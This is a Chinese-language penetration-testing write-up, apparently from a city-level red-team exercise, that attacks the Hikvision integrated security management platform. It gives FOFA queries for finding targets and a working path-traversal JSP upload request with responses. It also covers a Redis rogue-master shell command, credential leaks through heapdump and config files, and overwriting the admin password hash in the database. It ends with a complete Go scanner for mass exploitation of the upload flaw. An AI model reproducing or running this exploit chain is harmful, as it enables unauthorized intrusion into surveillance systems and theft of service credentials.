0x00 前言

这篇文章的起因是前段时间的市攻防演练中,海康的综合安防是我知道的得分比较多的资产,自己也有幸拿到了一个。因为是第一次独立渗透海康的综合安防,也有些困难,不过好在一晚上的努力后,成功将机子上能拿的分拿到了。为了下次能够更好的渗透,就整理了下综合安防的得分点。

0x01 入口点

app="HIKVISION-综合安防管理平台"
title="综合安防管理平台"

首先要先找到入口点,有两种方法,一种是通过利用report任意文件上传,另一种是收集信息获取到redis数据的密码,然后使用主从复制来getshell,实现内网突破

report任意文件上传

poc如下

POST /svm/api/external/report HTTP/1.1
Host: xx.xx.xx.xx:11443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB

------WebKitFormBoundarykYswiCilf8qB
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps/els/static/1.jsp"
Content-Type: application/zip

<%out.print("Vulnerability is exist");%>

------WebKitFormBoundarykYswiCilf8qB--

收到的响应包如下

HTTP/1.1 200 
Date: Fri, 21 Jun 2024 21:31:56 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 69
Connection: keep-alive
traceId: f570d6a8d329cece
Set-Cookie: JSESSIONID=30885E6D014929B496EDC9635ABA8EF8; Path=/svm; secure; HttpOnly;secure
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: http://xx.xx.xx.xx:11443/center
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT,PATCH, HEAD
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 3600

{"code":"0x26e31402","msg":"上报的文件格式错误","data":null}

然后访问https://xx.xx.xx.xx:11443/els/static/1.jsp,响应内容如下,则可以确定存在任意文件上传漏洞,并且能够解析jsp脚本

HTTP/1.1 200 
Date: Fri, 21 Jun 2024 21:33:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: JSESSIONID=E81E46F2D575A51BEA3260243454C81B; Path=/els; secure; HttpOnly;secure
Content-Length: 24

Vulnerability is exist

redis主从复制getshell

通过heapdump泄露

访问https://xx.xx.xx.xx:11443/artemis-portal/artemis/heapdump,如下下载了heapdump文件,那么就可以通过解密来获取运行中的配置,获取redis服务的passwordport

通过portal配置文件泄露

请求https://xx.xx.xx.xx:11443/portal/conf/config.properties,正常返回配置文件,portalcache开头的字段为redis数据库配置

再通过主从复制的项目来执行命令

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r <rhost> -p <rport> -L <lhost> -P <lport> -f RedisModulesSDK/exp.so -c "id"

即可完成getshell

0x02 后渗透

讲完入口点后,就可以收集里面的信息了

来到/opt/hikvision/web/components路径下,这里是设备中的应用安装路径,每个应用中的配置文件路径:conf/config.properties,查看文件就可以获取一系列应用服务的配置,取得服务权限来得分。(配置文件解密工具 GitHub - wafinfo/Hikvision: 海康威视综合安防平台后渗透利用工具

应用权限

主要配置文件所在应用文件夹如下(示例):

PgSql(7092/管理员):postgresql11linux64.1

Redis:redislinux64.1

MinIO:minio.1

RabbitMQ:rabbitmq.1

PgSql(7092/普通用户):lm.1lsm.1els.1acps.1iac.1irds.1asw.1eportal.1vnsc.1svm.1frs.1issc.1sdmc.1isupm.1rtree.1vms.1ismd.1dac.1uis.1cis.1mps.1ncg.1hapts.1paf.1acs.1

artemis.1nms.1

ActiveMQ:activemq514linux64.1

SMS(无法验证):smsps.1

Mail(无法验证):mailps.1

Notify(无法验证):每个配置文件中都有

MongoDB:mdblinux64.1(可能未开启,无法验证)

Ldap(无法验证):els.1sac.1tvms.1irds.1vnsc.1frs.1sdmc.1isupm.1rtree.1vms.1ismd.1dac.1cis.1ncg.1hapts.1acs.1nms.1

从上述结果来分析,通过查看postgresql11linux64.1rabbitmq.1minio.1rabbitmq.1lm.1activemq514linux64.1这些应用程序的配置文件,就能够获取到可以验证的服务。
加密内容解密:

java -jar Hikvision.jar <encryption>

后台权限

除了上面的应用权限以外, 还有个比较特殊的,在/opt/hikvision/web/opsMgrCenter/下,这个配置文件中web应用程序的配置信息(后台数据库、加解密密钥等),这里需要用到的是7001端口上的pgsql数据库,里面存储管理员的信息。

解密连接数据库opsmgr_db,用户表center_user,通过工具来生成一个新的密码

$ java -jar Hikvision.jar
=======================基 本 信 息=======================
海康威视综合安防平台: 数据库解密/用户名密码替换
下载地址: https://github.com/wafinfo/Hikvision
只适合Windows平台使用,暂不支持linux+MacOs
=======================使 用 文 档=======================

[+] 生成密码成功:P@ssw0rd0.
[+] 生成salt成功:c4ca4238a0b923820dcc509a6f75849b
[+] 替换center_user表 password salt:983605f69b7a3a91187eb301eda62bbde9513ea706821b3e93ccdadbfe055b88 c4ca4238a0b923820dcc509a6f75849b

[+] 解密使用:java -jar Hikvision.jar EQAQAL5By8zVCjbJ9y5Dx5D50PudK8/DpYxLALFIHoOG0y286hgglnwspCcQka3Hj1x3jA==

替换sysadmin的salt和password值或创建一个新用户后,登录后台,即可获取Web系统权限。

0x03 结尾

综上所述,在综合安防上的成果有:内网突破*1 + PgSql管理员*1 + PgSql普通用户*1 + MinIO*1 + RabbitMQ*1 + ActicveMQ*1 + 综合安防*1 + 摄像头*n,如果进行后续的横向移动,可能会有更大的成果。下面附上自己编写的批量检测report任意文件上传脚本,也希望师傅们看完这篇文章后能有所收获。

附:

海康威视综合安防管理平台批量检测report任意文件上传

package main

import (
	"crypto/tls"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"strings"
)

func main() {
	WebPath := "els/static/1.jsp"		//	验证文件存放路径,建议只修改文件名
	Uri := ReadUri("url.txt")		//	fofa保存的host导入至url.txt
	Path := CreatePath(WebPath)
	Poc := "Vulnerability is exist"
	for _, uri := range Uri {
		u, err := url.Parse(uri)
		if err != nil {
			fmt.Println(err)
			continue
		}
		host := u.Host
		UploadFile(host, Path, Poc)
		VisitFile(host, WebPath, Poc)
	}
}

func CreatePath(path string) string {
	root := "../../../../../../../../../../../opt/hikvision/web/components/tomcat85linux64.1/webapps"
	return strings.ReplaceAll(filepath.Join(root, path), string(filepath.Separator), "/")
}

func ReadUri(filename string) []string {
	file, err := os.Open(filename)
	if err != nil {
		fmt.Println(err)
		os.Exit(-1)
	}
	defer file.Close()

	data, err := io.ReadAll(file)
	if err != nil {
		fmt.Println(err)
		os.Exit(-1)
	}

	return strings.Split(string(data), "\n")
}

func UploadFile(host, path, poc string) {

	url := fmt.Sprintf("https://%s/svm/api/external/report", host)
	contentType := "multipart/form-data; boundary=----WebKitFormBoundarykYswiCilf8qB"
	body := "------WebKitFormBoundarykYswiCilf8qB\r\n" +
		"Content-Disposition: form-data; name=\"file\";" +
		fmt.Sprintf("filename=\"%s\"\r\n", path) +
		"Content-Type: application/zip\r\n\r\n" +
		fmt.Sprintf("<%%out.print(\"%s\");%%>", poc) +
		"\r\n\r\n------WebKitFormBoundarykYswiCilf8qB--"

	client := http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},
	}
	resp, err := client.Post(url, contentType, strings.NewReader(body))
	if err != nil {
		fmt.Println("出现错误: " + err.Error())
		return
	}
	defer resp.Body.Close()
}

func VisitFile(host, webPath, poc string) {
	client := http.Client{
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{
				InsecureSkipVerify: true,
			},
		},
	}

	pocUrl := fmt.Sprintf("https://%s/%s", host, webPath)
	pocResp, err := client.Get(pocUrl)
	if err != nil {
		fmt.Println(err)
		return
	}
	defer pocResp.Body.Close()

	respBody, _ := io.ReadAll(pocResp.Body)
	if pocResp.StatusCode == 200 && strings.Contains(string(respBody), poc) {
		fmt.Println(host + ": " + poc)
	}
}